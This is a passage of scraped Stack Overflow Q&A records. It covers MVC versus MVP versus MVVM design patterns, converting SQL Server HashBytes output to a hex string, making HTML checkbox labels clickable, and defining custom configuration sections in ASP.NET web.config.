)</p>\n<p>-------------- This is where MVP and MVC start to diverge ---------------</p>\n<p><em>Model</em>: I found a list for you, <em>Presenter</em>, here it is in JSON “[{&quot;name&quot;:&quot;Piano Teacher&quot;,&quot;year&quot;:2001},{&quot;name&quot;:&quot;Piano&quot;,&quot;year&quot;:1993}]” [<strong>MVP</strong>]</p>\n<p><em>Model</em>: There is some result available, <em>Controller</em>. I have created a field variable in my instance and filled it with the result. It's name is &quot;searchResultsList&quot; [<strong>MVC</strong>]</p>\n<p>(<em>Presenter</em>|<em>Controller</em> thanks <em>Model</em> and gets back to the <em>View</em>) [<strong>MVP</strong>|<strong>MVC</strong>]</p>\n<p><em>Presenter</em>: Thanks for waiting <em>View</em>, I found a list of matching results for you and arranged them in a presentable format: [&quot;Piano Teacher 2001&quot;,&quot;Piano 1993&quot;]. Please show it to the user in a vertical list. Also please hide the progress bar now [<strong>MVP</strong>]</p>\n<p><em>Controller</em>: Thanks for waiting <em>View</em>, I have asked <em>Model</em> about your search query. It says it has found a list of matching results and stored them in a variable named &quot;searchResultsList&quot; inside its instance. You can get it from there. Also please hide the progress bar now [<strong>MVC</strong>]</p>\n<p><em>View</em>: Thank you very much <em>Presenter</em> [<strong>MVP</strong>]</p>\n<p><em>View</em>: Thank you &quot;Controller&quot; [<strong>MVC</strong>]\n(Now the <em>View</em> is questioning itself: How should I present the results I get from the <em>Model</em> to the user? Should the production year of the movie come first or last...? Should it be in a vertical or horizontal list? ...)</p>\n<p>In case you're interested, I have been writing a series of articles dealing with app architectural patterns (MVC, MVP, MVVP, clean architecture, ...) accompanied by a Github repo <a href=\"http://www.digigene.com/android-architecture-wolfkcats\" rel=\"noreferrer\">here</a>. Even though the sample is written for android, the underlying principles can be applied to any medium.</p>\n" }, { "answer_id": 56069653, "author": "Jboy Flaga", "author_id": 1451757, "author_profile": "https://Stackoverflow.com/users/1451757", "pm_score": 3, "selected": false, "text": "<p>I think this image by Erwin Vandervalk (and the accompanying <a href=\"https://blogs.msdn.microsoft.com/erwinvandervalk/2009/08/14/the-difference-between-model-view-viewmodel-and-other-separated-presentation-patterns/\" rel=\"noreferrer\">article</a>) is the best explanation of MVC, MVP, and MVVM, their similarities, and their differences. The <a href=\"https://blogs.msdn.microsoft.com/erwinvandervalk/2009/08/14/the-difference-between-model-view-viewmodel-and-other-separated-presentation-patterns/\" rel=\"noreferrer\">article</a> does not show up in search engine results for queries on \"MVC, MVP, and MVVM\" because the title of the article does not contain the words \"MVC\" and \"MVP\"; but it is the best explanation, I think. </p>\n\n<p><img src=\"https://i.stack.imgur.com/Y82D3.png\" alt=\"image explaining MVC, MVP and MVVM - by Erwin Vandervalk\"></p>\n\n<p>(The <a href=\"https://blogs.msdn.microsoft.com/erwinvandervalk/2009/08/14/the-difference-between-model-view-viewmodel-and-other-separated-presentation-patterns/\" rel=\"noreferrer\">article</a> also matches what Uncle Bob Martin said in his one of his talks: that MVC was originally designed for the small UI components, not for the architecture of the system)</p>\n" }, { "answer_id": 57860199, "author": "Chinmai Kulkarni", "author_id": 6209277, "author_profile": "https://Stackoverflow.com/users/6209277", "pm_score": 2, "selected": false, "text": "<p>In a few words,</p>\n<ul>\n<li>In MVC, View has the UI part, which calls the controller which in turn calls the model &amp; model in turn fires events back to view.</li>\n<li>In MVP, View contains UI and calls the presenter for implementation part. The presenter calls the view directly for updates to the UI part.\nModel which contains business logic is called by the presenter and no interaction whatsoever with the view. So here presenter does most of the work :)</li>\n</ul>\n" }, { "answer_id": 58501778, "author": "Hugo Rafael Azevedo", "author_id": 6065987, "author_profile": "https://Stackoverflow.com/users/6065987", "pm_score": 2, "selected": false, "text": "<p>You forgot about <strong>Action-Domain-Responder</strong> (<a href=\"https://en.wikipedia.org/wiki/Action%E2%80%93domain%E2%80%93responder\" rel=\"nofollow noreferrer\">ADR</a>).</p>\n\n<p>As explained in some graphics above, there's a direct relation/link between the <strong>Model</strong> and the <strong>View</strong> in MVC.\nAn action is performed on the <strong>Controller</strong>, which will execute an action on the <strong>Model</strong>. That action in the <strong>Model</strong>, <strong>will trigger a reaction</strong> in the <strong>View</strong>.\nThe <strong>View</strong>, is always updated when the <strong>Model</strong>'s state changes.</p>\n\n<p>Some people keep forgetting, that MVC <a href=\"https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller#History\" rel=\"nofollow noreferrer\">was created in the late 70\"</a>, and that the Web was only created in late 80\"/early 90\".\nMVC wasn't originally created for the Web, but for Desktop applications instead, where the Controller, Model and View would co-exist together.</p>\n\n<p>Because we use web frameworks (<em>eg:. Laravel</em>) that still use the same naming conventions (<em>model-view-controller</em>), we tend to think that it must be MVC, but it's actually something else.</p>\n\n<p>Instead, have a look at <a href=\"https://en.wikipedia.org/wiki/Action%E2%80%93domain%E2%80%93responder\" rel=\"nofollow noreferrer\">Action-Domain-Responder</a>.\nIn ADR, the <strong>Controller</strong> gets an <strong>Action</strong>, which will perform an operation in the <strong>Model/Domain</strong>. So far, the same.\nThe difference is, it then collects that operation's response/data, and pass it to a <strong>Responder</strong> (<em>eg:. <code>view()</code></em>) for rendering.\nWhen a new action is requested on the same component, the <strong>Controller</strong> is called again, and the cycle repeats itself.\nIn ADR, there's <strong>no connection</strong> between the Model/Domain and the View (<em>Reponser's response</em>).</p>\n\n<p><strong>Note:</strong> Wikipedia states that \"<em>Each ADR action, however, is represented by separate classes or closures.</em>\". This is <strong>not</strong> necessarily true. Several Actions can be in the same Controller, and the pattern is still the same.</p>\n\n<p><a href=\"/questions/tagged/mvc\" class=\"post-tag\" title=\"show questions tagged &#39;mvc&#39;\" rel=\"tag\">mvc</a> <a href=\"/questions/tagged/adr\" class=\"post-tag\" title=\"show questions tagged &#39;adr&#39;\" rel=\"tag\">adr</a> <a href=\"/questions/tagged/model-view-controller\" class=\"post-tag\" title=\"show questions tagged &#39;model-view-controller&#39;\" rel=\"tag\">model-view-controller</a> <a href=\"/questions/tagged/action-domain-responder\" class=\"post-tag\" title=\"show questions tagged &#39;action-domain-responder&#39;\" rel=\"tag\">action-domain-responder</a></p>\n" }, { "answer_id": 69731196, "author": "Mostafa Wael", "author_id": 14043328, "author_profile": "https://Stackoverflow.com/users/14043328", "pm_score": 3, "selected": false, "text": "<h1>MVC (Model-View-Controller)</h1>\n<p>In MVC, the Controller is the one in charge! The Controller is triggered or accessed based on some events/requests then, manages the Views.</p>\n<p>Views in MVC are virtually stateless, the Controller is responsible for choosing which View to show.</p>\n<p><strong>E.g.:</strong> When the user clicks on the “Show MyProfile” button, the Controller is triggered. It communicates with the Model to get the appropriate data. Then, it shows a new View that resembles the profile page. The Controller may take the data from the Model and feed it directly to the View -as proposed in the above diagram- or let the View fetch the data from the Model itself.</p>\n<h1>MVP (Model-View-Presenter)</h1>\n<p>In MVP, the View is the one in charge! each View calls its Presenter or has some events that the Presenter listens to.</p>\n<p>Views in MVP don’t implement any logic, the Presenter is responsible for implementing all the logic and communicates with the View using some sort of interface.</p>\n<p><strong>E.g.:</strong> When the user clicks the “Save” button, the event handler in the View delegates to the Presenter’s “OnSave” method. The Presenter will do the required logic and any needed communication with the Model then, calls back the View through its interface so that the View can display that the save has been completed.</p>\n<h1>MVC vs. MVP</h1>\n<ul>\n<li>MVC doesn’t put the View in charge, Views act as slaves that the Controller can manage and direct.</li>\n<li>In MVC, Views are stateless contrary to Views in MVP where they are stateful and can change over time.</li>\n<li>In MVP, Views have no logic and we should keep them dumb as possible. On the other hand, Views in MVC may have some sort of logic.</li>\n<li>In MVP, the Presenter is decoupled from the View and talks to it through an interface. This allows mocking the View in unit tests.</li>\n<li>In MVP, Views are completely isolated from the Model. However, in MVC, Views can communicate with the Model to keep it up with the most\nup-to-date data.</li>\n</ul>\n<p><a href=\"https://i.stack.imgur.com/Yttsn.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Yttsn.png\" alt=\"enter image description here\" /></a></p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2056", "https://Stackoverflow.com", "https://Stackoverflow.com/users/358/" ]
When looking beyond the [RAD](https://en.wikipedia.org/wiki/Rapid_application_development) (drag-drop and configure) way of building user interfaces that many tools encourage you are likely to come across three design patterns called [Model-View-Controller](http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller), [Model-View-Presenter](http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter) and [Model-View-ViewModel](http://en.wikipedia.org/wiki/Model_View_ViewModel). My question has three parts to it: 1. What issues do these patterns address? 2. How are they similar? 3. How are they different?
Model-View-Presenter -------------------- In **MVP**, the Presenter contains the UI business logic for the View. All invocations from the View delegate directly to the Presenter. The Presenter is also decoupled directly from the View and talks to it through an interface. This is to allow mocking of the View in a unit test. One common attribute of MVP is that there has to be a lot of two-way dispatching. For example, when someone clicks the "Save" button, the event handler delegates to the Presenter's "OnSave" method. Once the save is completed, the Presenter will then call back the View through its interface so that the View can display that the save has completed. MVP tends to be a very natural pattern for achieving separated presentation in WebForms. The reason is that the View is always created first by the ASP.NET runtime. You can [find out more about both variants](https://web.archive.org/web/20071211153445/http://www.codeplex.com/websf/Wiki/View.aspx?title=MVPDocumentation). ### Two primary variations **Passive View:** The View is as dumb as possible and contains almost zero logic. A Presenter is a middle man that talks to the View and the Model. The View and Model are completely shielded from one another. The Model may raise events, but the Presenter subscribes to them for updating the View. In Passive View there is no direct data binding, instead, the View exposes setter properties that the Presenter uses to set the data. All state is managed in the Presenter and not the View. * Pro: maximum testability surface; clean separation of the View and Model * Con: more work (for example all the setter properties) as you are doing all the data binding yourself. **Supervising Controller:** The Presenter handles user gestures. The View binds to the Model directly through data binding. In this case, it's the Presenter's job to pass off the Model to the View so that it can bind to it. The Presenter will also contain logic for gestures like pressing a button, navigation, etc. * Pro: by leveraging data binding the amount of code is reduced. * Con: there's a less testable surface (because of data binding), and there's less encapsulation in the View since it talks directly to the Model. Model-View-Controller --------------------- In the **MVC**, the Controller is responsible for determining which View to display in response to any action including when the application loads. This differs from MVP where actions route through the View to the Presenter. In MVC, every action in the View correlates with a call to a Controller along with an action. In the web, each action involves a call to a URL on the other side of which there is a Controller who responds. Once that Controller has completed its processing, it will return the correct View. The sequence continues in that manner throughout the life of the application: ``` Action in the View -> Call to Controller -> Controller Logic -> Controller returns the View. ``` One other big difference about MVC is that the View does not directly bind to the Model. The view simply renders and is completely stateless. In implementations of MVC, the View usually will not have any logic in the code behind. This is contrary to MVP where it is absolutely necessary because, if the View does not delegate to the Presenter, it will never get called. Presentation Model ------------------ One other pattern to look at is the **Presentation Model** pattern. In this pattern, there is no Presenter. Instead, the View binds directly to a Presentation Model. The Presentation Model is a Model crafted specifically for the View. This means this Model can expose properties that one would never put on a domain model as it would be a violation of separation-of-concerns. In this case, the Presentation Model binds to the domain model and may subscribe to events coming from that Model. The View then subscribes to events coming from the Presentation Model and updates itself accordingly. The Presentation Model can expose commands which the view uses for invoking actions. The advantage of this approach is that you can essentially remove the code-behind altogether as the PM completely encapsulates all of the behavior for the view. This pattern is a very strong candidate for use in WPF applications and is also called [Model-View-ViewModel](http://msdn.microsoft.com/en-us/magazine/dd419663.aspx). There is a [MSDN article about the Presentation Model](http://msdn.microsoft.com/en-us/library/ff921080.aspx) and a section in the [Composite Application Guidance for WPF](http://msdn.microsoft.com/en-us/library/cc707819.aspx) (former Prism) about [Separated Presentation Patterns](http://msdn.microsoft.com/en-us/library/cc707862.aspx)
2,120
<p>I want to get the MD5 Hash of a string value in SQL Server 2005. I do this with the following command:</p> <pre><code>SELECT HashBytes('MD5', 'HelloWorld') </code></pre> <p>However, this returns a VarBinary instead of a VarChar value. If I attempt to convert <code>0x68E109F0F40CA72A15E05CC22786F8E6</code> into a VarChar I get <code>há ðô§*à\Â'†øæ</code> instead of <code>68E109F0F40CA72A15E05CC22786F8E6</code>.</p> <p>Is there any SQL-based solution?</p> <p><strong><a href="https://stackoverflow.com/questions/2120/#2382">Yes</a></strong></p>
[ { "answer_id": 2382, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 8, "selected": true, "text": "<p>I have found the solution else where:</p>\n\n<pre><code>SELECT SUBSTRING(master.dbo.fn_varbintohexstr(HashBytes('MD5', 'HelloWorld')), 3, 32)\n</code></pre>\n" }, { "answer_id": 2284546, "author": "anopres", "author_id": 1537, "author_profile": "https://Stackoverflow.com/users/1537", "pm_score": -1, "selected": false, "text": "<p>Changing the datatype to varbinary seems to work the best for me.</p>\n" }, { "answer_id": 4585246, "author": "Rapscallion", "author_id": 561339, "author_profile": "https://Stackoverflow.com/users/561339", "pm_score": 7, "selected": false, "text": "<pre><code>SELECT CONVERT(NVARCHAR(32),HashBytes('MD5', 'Hello World'),2)\n</code></pre>\n\n\n" }, { "answer_id": 5341695, "author": "Xaqron", "author_id": 313421, "author_profile": "https://Stackoverflow.com/users/313421", "pm_score": 5, "selected": false, "text": "<p>Use <code>master.dbo.fn_varbintohexsubstring(0, HashBytes('SHA1', @input), 1, 0)</code> instead of <code>master.dbo.fn_varbintohexstr</code> and then <code>substringing</code> the result.</p>\n\n<p>In fact <code>fn_varbintohexstr</code> calls <code>fn_varbintohexsubstring</code> internally. The first argument of <code>fn_varbintohexsubstring</code> tells it to add <code>0xF</code> as the prefix or not. <code>fn_varbintohexstr</code> calls <code>fn_varbintohexsubstring</code> with <code>1</code> as the first argument internaly.</p>\n\n<p>Because you don't need <code>0xF</code>, call <code>fn_varbintohexsubstring</code> directly.</p>\n" }, { "answer_id": 7330431, "author": "Ramans", "author_id": 932224, "author_profile": "https://Stackoverflow.com/users/932224", "pm_score": 4, "selected": false, "text": "<pre><code>convert(varchar(34), HASHBYTES('MD5','Hello World'),1)\n</code></pre>\n\n<p>(1 for converting hexadecimal to string)</p>\n\n<p>convert this to lower and remove 0x from the start of the string by substring:</p>\n\n<pre><code>substring(lower(convert(varchar(34), HASHBYTES('MD5','Hello World'),1)),3,32)\n</code></pre>\n\n<p>exactly the same as what we get in C# after converting bytes to string</p>\n" }, { "answer_id": 25541426, "author": "Timo Riikonen", "author_id": 3733733, "author_profile": "https://Stackoverflow.com/users/3733733", "pm_score": 5, "selected": false, "text": "<p>Contrary to what <a href=\"https://stackoverflow.com/users/161332/david-knight\">David Knight</a> says, these two alternatives return the same response in MS SQL 2008:</p>\n\n<pre><code>SELECT CONVERT(VARCHAR(32),HashBytes('MD5', 'Hello World'),2)\nSELECT UPPER(master.dbo.fn_varbintohexsubstring(0, HashBytes('MD5', 'Hello World'), 1, 0))\n</code></pre>\n\n<p>So it looks like the first one is a better choice, starting from version 2008.</p>\n" }, { "answer_id": 28707974, "author": "Simon Jones", "author_id": 4300786, "author_profile": "https://Stackoverflow.com/users/4300786", "pm_score": 1, "selected": false, "text": "<p>With personal experience of using the following code within a Stored Procedure which Hashed a SP Variable I can confirm, although undocumented, this combination works 100% as per my example:</p>\n\n<pre><code>@var=SUBSTRING(master.dbo.fn_varbintohexstr(HashBytes('SHA2_512', @SPvar)), 3, 128)\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2120", "https://Stackoverflow.com", "https://Stackoverflow.com/users/383/" ]
I want to get the MD5 Hash of a string value in SQL Server 2005. I do this with the following command: ``` SELECT HashBytes('MD5', 'HelloWorld') ``` However, this returns a VarBinary instead of a VarChar value. If I attempt to convert `0x68E109F0F40CA72A15E05CC22786F8E6` into a VarChar I get `há ðô§*à\Â'†øæ` instead of `68E109F0F40CA72A15E05CC22786F8E6`. Is there any SQL-based solution? **[Yes](https://stackoverflow.com/questions/2120/#2382)**
I have found the solution else where: ``` SELECT SUBSTRING(master.dbo.fn_varbintohexstr(HashBytes('MD5', 'HelloWorld')), 3, 32) ```
2,123
<p><code>Checkboxes</code> in <code>HTML</code> forms don't have implicit <em>labels</em> with them. Adding an explicit label (some text) next to it doesn't toggle the <code>checkbox</code>.</p> <p><strong>How do I make a checkbox toggle from clicking on the text label as well?</strong></p>
[ { "answer_id": 2133, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 6, "selected": false, "text": "<p>If you correctly markup your HTML code, there is no need for javascript. The following code will allow the user to click on the label text to tick the checkbox.</p>\n\n<pre><code>&lt;label for=\"surname\"&gt;Surname&lt;/label&gt;\n&lt;input type=\"checkbox\" name=\"surname\" id=\"surname\" /&gt;\n</code></pre>\n\n<p>The <em>for</em> attribute on the label element links to the <em>id</em> attribute on the input element and the browser does the rest.</p>\n\n<p>This has been testing to work in:</p>\n\n<ul>\n<li>IE6</li>\n<li>IE7</li>\n<li>Firefox</li>\n</ul>\n" }, { "answer_id": 2177, "author": "Michiel de Mare", "author_id": 136, "author_profile": "https://Stackoverflow.com/users/136", "pm_score": 2, "selected": false, "text": "<p>You can wrap your checkbox in the label:</p>\n\n<pre><code>&lt;label style=\"display: block; padding: 50px 0 0 50px; background-color: pink; width: 80px; height: 80px\"&gt;\n &lt;input type=\"checkbox\" name=\"surname\"&gt;\n&lt;/label&gt;\n</code></pre>\n" }, { "answer_id": 2180, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 2, "selected": false, "text": "<p>Ronnie,</p>\n\n<p>If you wanted to enclose the label text and checkbox inside a wrapper element, you could do the following:</p>\n\n<pre><code>&lt;label for=\"surname\"&gt;\n Surname\n &lt;input type=\"checkbox\" name=\"surname\" id=\"surname\" /&gt;\n&lt;/label&gt;\n</code></pre>\n" }, { "answer_id": 2184, "author": "Ronnie", "author_id": 193, "author_profile": "https://Stackoverflow.com/users/193", "pm_score": -1, "selected": false, "text": "<p>Wrapping with the label still doesn't allow clicking 'anywhere in the box' - still just on the text!\nThis does the job for me:</p>\n\n<pre><code>&lt;div onclick=\"dob.checked=!dob.checked\" class=\"checkbox\"&gt;&lt;input onclick=\"checked=!checked\" id=\"dob\" type=\"checkbox\"/&gt;Date of birth entry must be completed&lt;/div&gt;\n</code></pre>\n\n<p>but unfortunately has lots of javascript that is effectively toggling twice.</p>\n" }, { "answer_id": 2223, "author": "Mat", "author_id": 48, "author_profile": "https://Stackoverflow.com/users/48", "pm_score": 6, "selected": true, "text": "<p>Set the CSS <code>display</code> property for the label to be a block element and use that instead of your div - it keeps the semantic meaning of a label while allowing whatever styling you like.</p>\n\n<p>For example:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>label {\r\n width: 100px;\r\n height: 100px;\r\n display: block;\r\n background-color: #e0e0ff;\r\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;label for=\"test\"&gt;\r\n A ticky box! &lt;input type=\"checkbox\" id=\"test\" /&gt;\r\n&lt;/label&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 26228, "author": "Euro Micelli", "author_id": 2230, "author_profile": "https://Stackoverflow.com/users/2230", "pm_score": 2, "selected": false, "text": "<p>As indicated by @Gatekiller and others, the correct solution is the &lt;label&gt; tag.</p>\n\n<p>Click-in-the-text is nice, but there is another reason to use the &lt;label&gt; tag: accessibility. The tools that visually-impaired people use to access the web need the &lt;label&gt;s to read-out the meaning of checkboxes and radio buttons. Without &lt;label&gt;s, they have to guess based on surrounding text, and they often get it wrong or have to give up. </p>\n\n<p>It is very frustrating to be faced with a form that reads <em>\"Please select your shipping method, radio-button1, radio-button2, radio-button3\".</em></p>\n\n<p>Note that web accessibility is a complex topic; &lt;label&gt;s are a necessary step but they are not enough to guarantee accessibility or compliance with government regulations where it applies.</p>\n" }, { "answer_id": 28941729, "author": "The_HTML_Man", "author_id": 4507071, "author_profile": "https://Stackoverflow.com/users/4507071", "pm_score": -1, "selected": false, "text": "<p>this should work:</p>\n\n<pre><code>&lt;script&gt;\nfunction checkbox () {\n var check = document.getElementById(\"myCheck\").checked;\n var box = document.getElementById(\"myCheck\")\n\n if (check == true) {\n box.checked = false;\n }\n else if (check == false) {\n box.checked = true;\n }\n}\n&lt;/script&gt;\n&lt;input type=\"checkbox\"&gt;&lt;p id=\"myCheck\" onClick=\"checkbox();\"&gt;checkbox&lt;/p&gt;\n</code></pre>\n\n<p>if it doesnt, pleae corect me!</p>\n" }, { "answer_id": 32331279, "author": "Ajay Gupta", "author_id": 2663073, "author_profile": "https://Stackoverflow.com/users/2663073", "pm_score": 2, "selected": false, "text": "<p>You need to just wrap the checkbox in label tag just like this</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code> &lt;label style=\"height: 10px; width: 150px; display: block; \"&gt;\n [Checkbox Label Here] &lt;input type=\"checkbox\"/&gt;\n &lt;/label&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p><a href=\"http://jsfiddle.net/w0zb4df3/\" rel=\"nofollow noreferrer\">FIDDLE</a></p>\n<p>or you can also use the <strong>for</strong> attribute of label and <strong>id</strong> of your checkbox like below</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;label for=\"other\"&gt;Other Details&lt;/label&gt;\n &lt;input type=\"checkbox\" id=\"other\" /&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p><a href=\"http://jsfiddle.net/Lffnf7su/\" rel=\"nofollow noreferrer\">FIDDLE</a></p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2123", "https://Stackoverflow.com", "https://Stackoverflow.com/users/193/" ]
`Checkboxes` in `HTML` forms don't have implicit *labels* with them. Adding an explicit label (some text) next to it doesn't toggle the `checkbox`. **How do I make a checkbox toggle from clicking on the text label as well?**
Set the CSS `display` property for the label to be a block element and use that instead of your div - it keeps the semantic meaning of a label while allowing whatever styling you like. For example: ```css label { width: 100px; height: 100px; display: block; background-color: #e0e0ff; } ``` ```html <label for="test"> A ticky box! <input type="checkbox" id="test" /> </label> ```
2,155
<p>The web applications I develop often require co-dependent configuration settings and there are also settings that have to change as we move between each of our environments.</p> <p>All our settings are currently simple key-value pairs but it would be useful to create custom config sections so that it is obvious when two values need to change together or when the settings need to change for an environment.</p> <p>What's the best way to create custom config sections and are there any special considerations to make when retrieving the values?</p>
[ { "answer_id": 2178, "author": "John Downey", "author_id": 200, "author_profile": "https://Stackoverflow.com/users/200", "pm_score": 2, "selected": false, "text": "<p>You can accomplish this with Section Handlers. There is a basic overview of how to write one at <a href=\"http://www.codeproject.com/KB/aspnet/ConfigSections.aspx\" rel=\"nofollow noreferrer\">http://www.codeproject.com/KB/aspnet/ConfigSections.aspx</a> however it refers to app.config which would be pretty much the same as writing one for use in web.config. This will allow you to essentially have your own XML tree in the config file and do some more advanced configuration.</p>\n" }, { "answer_id": 2219, "author": "Ishmaeel", "author_id": 227, "author_profile": "https://Stackoverflow.com/users/227", "pm_score": 4, "selected": false, "text": "<p>Quick'n Dirty:</p>\n\n<p>First create your <strong>ConfigurationSection</strong> and <strong>ConfigurationElement</strong> classes:</p>\n\n<pre><code>public class MyStuffSection : ConfigurationSection\n{\n ConfigurationProperty _MyStuffElement;\n\n public MyStuffSection()\n {\n _MyStuffElement = new ConfigurationProperty(\"MyStuff\", typeof(MyStuffElement), null);\n\n this.Properties.Add(_MyStuffElement);\n }\n\n public MyStuffElement MyStuff\n {\n get\n {\n return this[_MyStuffElement] as MyStuffElement;\n }\n }\n}\n\npublic class MyStuffElement : ConfigurationElement\n{\n ConfigurationProperty _SomeStuff;\n\n public MyStuffElement()\n {\n _SomeStuff = new ConfigurationProperty(\"SomeStuff\", typeof(string), \"&lt;UNDEFINED&gt;\");\n\n this.Properties.Add(_SomeStuff);\n }\n\n public string SomeStuff\n {\n get\n {\n return (String)this[_SomeStuff];\n }\n }\n}\n</code></pre>\n\n<p>Then let the framework know how to handle your configuration classes in <strong>web.config</strong>:</p>\n\n<pre><code>&lt;configuration&gt;\n &lt;configSections&gt;\n &lt;section name=\"MyStuffSection\" type=\"MyWeb.Configuration.MyStuffSection\" /&gt;\n &lt;/configSections&gt;\n ...\n</code></pre>\n\n<p>And actually add your own section below:</p>\n\n<pre><code> &lt;MyStuffSection&gt;\n &lt;MyStuff SomeStuff=\"Hey There!\" /&gt;\n &lt;/MyStuffSection&gt;\n</code></pre>\n\n<p>Then you can use it in your code thus:</p>\n\n<pre><code>MyWeb.Configuration.MyStuffSection configSection = ConfigurationManager.GetSection(\"MyStuffSection\") as MyWeb.Configuration.MyStuffSection;\n\nif (configSection != null &amp;&amp; configSection.MyStuff != null)\n{\n Response.Write(configSection.MyStuff.SomeStuff);\n}\n</code></pre>\n" }, { "answer_id": 2928, "author": "andynil", "author_id": 446, "author_profile": "https://Stackoverflow.com/users/446", "pm_score": 7, "selected": true, "text": "<p><strong>Using attributes, child config sections and constraints</strong></p>\n\n<p>There is also the possibility to use attributes which automatically takes care of the plumbing, as well as providing the ability to easily add constraints.</p>\n\n<p>I here present an example from code I use myself in one of my sites. With a constraint I dictate the maximum amount of disk space any one user is allowed to use.</p>\n\n<p>MailCenterConfiguration.cs:</p>\n\n<pre><code>namespace Ani {\n\n public sealed class MailCenterConfiguration : ConfigurationSection\n {\n [ConfigurationProperty(\"userDiskSpace\", IsRequired = true)]\n [IntegerValidator(MinValue = 0, MaxValue = 1000000)]\n public int UserDiskSpace\n {\n get { return (int)base[\"userDiskSpace\"]; }\n set { base[\"userDiskSpace\"] = value; }\n }\n }\n}\n</code></pre>\n\n<p>This is set up in web.config like so</p>\n\n<pre><code>&lt;configSections&gt;\n &lt;!-- Mailcenter configuration file --&gt;\n &lt;section name=\"mailCenter\" type=\"Ani.MailCenterConfiguration\" requirePermission=\"false\"/&gt;\n&lt;/configSections&gt;\n...\n&lt;mailCenter userDiskSpace=\"25000\"&gt;\n &lt;mail\n host=\"my.hostname.com\"\n port=\"366\" /&gt;\n&lt;/mailCenter&gt;\n</code></pre>\n\n<p><strong>Child elements</strong></p>\n\n<p>The child xml element <em>mail</em> is created in the same .cs file as the one above. Here I've added constraints on the port. If the port is assigned a value not in this range the runtime will complain when the config is loaded.</p>\n\n<p>MailCenterConfiguration.cs:</p>\n\n<pre><code>public sealed class MailCenterConfiguration : ConfigurationSection\n{\n [ConfigurationProperty(\"mail\", IsRequired=true)]\n public MailElement Mail\n {\n get { return (MailElement)base[\"mail\"]; }\n set { base[\"mail\"] = value; }\n }\n\n public class MailElement : ConfigurationElement\n {\n [ConfigurationProperty(\"host\", IsRequired = true)]\n public string Host\n {\n get { return (string)base[\"host\"]; }\n set { base[\"host\"] = value; }\n }\n\n [ConfigurationProperty(\"port\", IsRequired = true)]\n [IntegerValidator(MinValue = 0, MaxValue = 65535)]\n public int Port\n {\n get { return (int)base[\"port\"]; }\n set { base[\"port\"] = value; }\n }\n</code></pre>\n\n<p><strong>Use</strong></p>\n\n<p>To then use it practically in code, all you have to do is instantiate the MailCenterConfigurationObject, this will <strong>automatically</strong> read the relevant sections from web.config.</p>\n\n<p>MailCenterConfiguration.cs</p>\n\n<pre><code>private static MailCenterConfiguration instance = null;\npublic static MailCenterConfiguration Instance\n{\n get\n {\n if (instance == null)\n {\n instance = (MailCenterConfiguration)WebConfigurationManager.GetSection(\"mailCenter\");\n }\n\n return instance;\n }\n}\n</code></pre>\n\n<p>AnotherFile.cs</p>\n\n<pre><code>public void SendMail()\n{\n MailCenterConfiguration conf = MailCenterConfiguration.Instance;\n SmtpClient smtpClient = new SmtpClient(conf.Mail.Host, conf.Mail.Port);\n}\n</code></pre>\n\n<p><strong>Check for validity</strong></p>\n\n<p>I previously mentioned that the runtime will complain when the configuration is loaded and some data does not comply to the rules you have set up (e.g. in MailCenterConfiguration.cs). I tend to want to know these things as soon as possible when my site fires up. One way to solve this is load the configuration in _Global.asax.cx.Application_Start_ , if the configuration is invalid you will be notified of this with the means of an exception. Your site won't start and instead you will be presented detailed exception information in the <a href=\"http://www.codinghorror.com/blog/images/yellow-screen-of-death-large.png\" rel=\"noreferrer\">Yellow screen of death</a>.</p>\n\n<p>Global.asax.cs</p>\n\n<pre><code>protected void Application_ Start(object sender, EventArgs e)\n{\n MailCenterConfiguration.Instance;\n}\n</code></pre>\n" }, { "answer_id": 545973, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>The custom configuration are quite handy thing and often applications end up with a demand for an extendable solution.</p>\n\n<p>For .NET 1.1 please refer the article <a href=\"https://web.archive.org/web/20211027113329/http://aspnet.4guysfromrolla.com/articles/020707-1.aspx\" rel=\"nofollow noreferrer\">https://web.archive.org/web/20211027113329/http://aspnet.4guysfromrolla.com/articles/020707-1.aspx</a></p>\n\n<p>Note: The above solution works for .NET 2.0 as well.</p>\n\n<p>For .NET 2.0 specific solution, please refer the article <a href=\"https://web.archive.org/web/20210802144254/https://aspnet.4guysfromrolla.com/articles/032807-1.aspx\" rel=\"nofollow noreferrer\">https://web.archive.org/web/20210802144254/https://aspnet.4guysfromrolla.com/articles/032807-1.aspx</a></p>\n" }, { "answer_id": 18899141, "author": "LordHits", "author_id": 8088, "author_profile": "https://Stackoverflow.com/users/8088", "pm_score": 3, "selected": false, "text": "<p>There's an excellent <a href=\"http://msdn.microsoft.com/en-us/library/system.configuration.configurationcollectionattribute.aspx\" rel=\"noreferrer\">example on MSDN</a> using <code>ConfigurationCollection</code> and .NET 4.5 for custom sections in web.config that has a list of config items.</p>\n" }, { "answer_id": 42043653, "author": "Mike", 